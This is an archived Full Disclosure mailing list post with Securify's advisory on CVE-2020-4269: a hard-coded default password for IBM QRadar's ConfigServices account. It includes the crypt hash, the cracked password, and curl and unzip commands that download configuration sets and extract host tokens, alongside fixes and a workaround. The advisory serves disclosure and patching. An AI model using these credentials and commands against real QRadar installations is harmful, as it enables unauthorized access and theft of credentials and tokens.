



[Full Disclosure](#) mailing list archives



[By Date](#) [By Thread](#)

List Archive Search



Unauthorized access to QRadar configuration sets via default password

From: "Securify B.V. via Fulldisclosure" <fulldisclosure () seclists.org>

Date: Mon, 20 Apr 2020 12:24:58 +0200

Unauthorized access to QRadar configuration sets via default password

Yorick Koster, September 2019

Abstract

QRadar is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar.

See also

CVE-2020-4269 [2]
6189711 [3] - IBM QRadar SIEM contains hard-coded credentials (CVE-2020-4269)

Tested versions

This issue was successfully verified on QRadar Community Edition [4] version 7.3.1.6 (7.3.1 Build 20180723171558).

Fix

IBM has released the following versions of QRadar in which this issue has been resolved:

- QRadar / QRM / QVM / QNI 7.4.0 GA [5] (SFS)
- QRadar / QRM / QVM / QRIF / QNI 7.3.3 Patch 3 [6] (SFS)
- QRadar / QRM / QVM / QRIF / QNI 7.3.2 Patch 7 [7] (SFS)
- QRadar Incident Forensics 7.4.0 [8] (ISO)
- QRadar Incident Forensics 7.4.0 [9] (SFS)

As a workaround it is possible to remove or disable the configservices account in the file /opt/qradar/conf/users.conf.

Introduction

QRadar [10] is IBM's enterprise SIEM [11] solution. A free version of QRadar is available that is known as QRadar Community Edition [4]. This version is limited to 50 events per second and 5,000 network flows a minute, supports apps, but is based on a smaller footprint for non-enterprise use.

So-called configuration sets can be downloaded via the web interface. These sets are normally only accessible for the ConfigServices user. It was found that QRadar is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar.

Details

The Apache configuration for the QRadar web interface contains a configuration alias that maps to the /store/configservices/configurationsets folder. This folder is protected with the mod_authn_file [12] Apache Module. The only user that is allowed through is the configservices user.

```
/etc/httpd/conf.d/configservices_httpd.conf:
Alias /configuration /store/configservices/configurationsets
<Directory /store/configservices/configurationsets>
    AuthType Basic
    AuthUserFile /opt/qradar/conf/users.conf
    AuthName "Identification"
    Options Indexes Includes FollowSymLinks MultiViews ExecCGI
    AllowOverride All

    <Limit GET POST>
        require user configservices
    </Limit>
</Directory>
```

The password for this user is set in the file /opt/qradar/conf/users.conf. The password is protected with the crypt algorithm, the crypt password is the same for all QRadar installations.

```
/opt/qradar/conf/users.conf:
admin:null:ALL:root@localhost:Admin:
configservices:/wEPae8TzCqmM:ALL::ConfigServices:
```

Cracking the crypt password quickly reveals that the corresponding password is qradar:

```
$ python -c 'import crypt; print(crypt.crypt("qradar", "/w"))'
/wEPae8TzCqmM
```

With the found password it is now possible to download the configuration set from the web server:

```
$ curl --insecure --user configservices:qradar
https://<ip>/configuration/globalset_list.xml
```

It should be noted that the default password of the configservices user only works for the configuration alias as configured in Apache. Recent versions of QRadar still use the ConfigServices user in other parts of the web interface. These parts either use a random password (stored in PostgreSQL) or a so-called host token (via the SEC header or cookie). However, using the default password it is possible to retrieve the value of this host token and thus gain access to other parts of QRadar.

```
curl --insecure --user configservices:qradar -o
/tmp/zipfile_GEN.full.zip
```

```
https://<ip>/configuration/zipfile_GEN.full.zip
unzip -p /tmp/zipfile_GEN.full.zip /host_tokens.masterlist | grep
'CONSOLE_HOSTCONTEXT='
```

Limitations

The users.conf configuration file is updated when changes are made to the user and/or permission configuration of QRadar. The new users.conf is first written to staging and made effective when the changes to staging have been deployed. When this happens the password digest of the configservices user is overwritten with null effectively disabling the account. Consequently, on larger setups it is likely that changes have been made to the user/permission configuration and that the default password will no longer work.

```
com.gllabs.core.shared.permissions.UserManager:
public class UserManager extends SingletonSupport implements
IMessageListener {
[...]

    public void updateConfigurationFile() {
        String configRoot = NVARReader.getProperty("CONFIGSERVICES_ROOT");

        try {
            File target = new File(configRoot + STAGED_CONFIG_FILENAME);
            StringBuffer sb = new StringBuffer();
            List users = this.getStagedUsers();
            Iterator var5 = users.iterator();

            while(var5.hasNext()) {
                User u = (User)var5.next();
                String networkNames = PermissionsManager.getNetworkNames(u);
                String userRoleName = PermissionsManager.getUserRoleName(u);
                String locale = u.getLocale() == null ? "" : u.getLocale();
                String tmzone = u.getTimezone() == null ? "" : u.getTimezone();
                sb.append(u.getUserName() + ":null:" + networkNames + ":" + u.getEmail() + ":" +
userRoleName + ":" + locale + ":" + tmzone + ":\n");
            }

            FileOutputStream fos = new FileOutputStream(target);
            fos.write(sb.toString().getBytes());
        } catch (Exception var11) {
            this.log.error((Object) ("Can't save deployed " + TABLENAME + " to configuration file"),
(Throwable)var11);
        }
    }
}
```

References





- [1] <https://www.securify.nl/advisory/SFY20200401/Unauthorized-access-to-QRadar-configuration-sets-via-default-password.html>
- [2] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4269>
- [3] <https://www.ibm.com/support/pages/node/6189711>
- [4] <https://developer.ibm.com/qradar/ce/>
- [5] <https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=IBM%20Other+Software/IBM+Security+QRadar+SIEM&release=7.4.0&platform=Linux&function=fixId&fixids=7.4.0-ORADAR-ORSIEM-20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http>
- [6] <https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=IBM%20Other+Software/IBM+Security+QRadar+SIEM&release=7.3.0&platform=Linux&function=fixId&fixids=7.3.0-ORADAR-ORSIEM-20200409085709&includeRequisites=1&includeSupersedes=0&downloadMethod=http>
- [7] <https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=IBM%20Other+Software/IBM+Security+QRadar+SIEM&release=7.3.0&platform=Linux&function=fixId&fixids=7.3.2-ORADAR-ORSIEM-20200406171249&includeRequisites=1&includeSupersedes=0&downloadMethod=http>
- [8] <https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=IBM%20Other+Software/IBM+Security+QRadar+Incident+Forensics&release=7.4.0&platform=Linux&function=fixId&fixids=7.4.0-ORADAR-OIFPULL-2019.18.0.20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http>
- [9] <https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=IBM%20Other+Software/IBM+Security+QRadar+Incident+Forensics&release=7.4.0&platform=Linux&function=fixId&fixids=7.4.0-ORADAR-OIFSPS-2019.18.0.20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http>
- [10] <https://www.ibm.com/security/security-intelligence/qradar>
- [11] https://en.wikipedia.org/wiki/Security_information_and_event_management
- [12] https://httpd.apache.org/docs/2.4/mod/mod_authn_file.html

Sent through the Full Disclosure mailing list
<https://nmap.org/mailman/listinfo/fulldisclosure>
Web Archives & RSS: <http://seclists.org/fulldisclosure/>

By Date By Thread

Current thread:

Unauthorized access to QRadar configuration sets via default password *Securify B.V. via Fulldisclosure (Apr 21)*

Nmap Security Scanner	Npcap packet capture	Security Lists	Security Tools	About	 
Ref Guide	User's Guide	Nmap Announce	Vuln scanners	About/Contact	
Install Guide	API docs	Nmap Dev	Password audit	Privacy	 
Docs	Download	Full Disclosure	Web scanners	Advertising	
Download	Npcap OEM	Open Source Security	Wireless	Nmap Public Source License	
Nmap OEM		BreachExchange	Exploitation		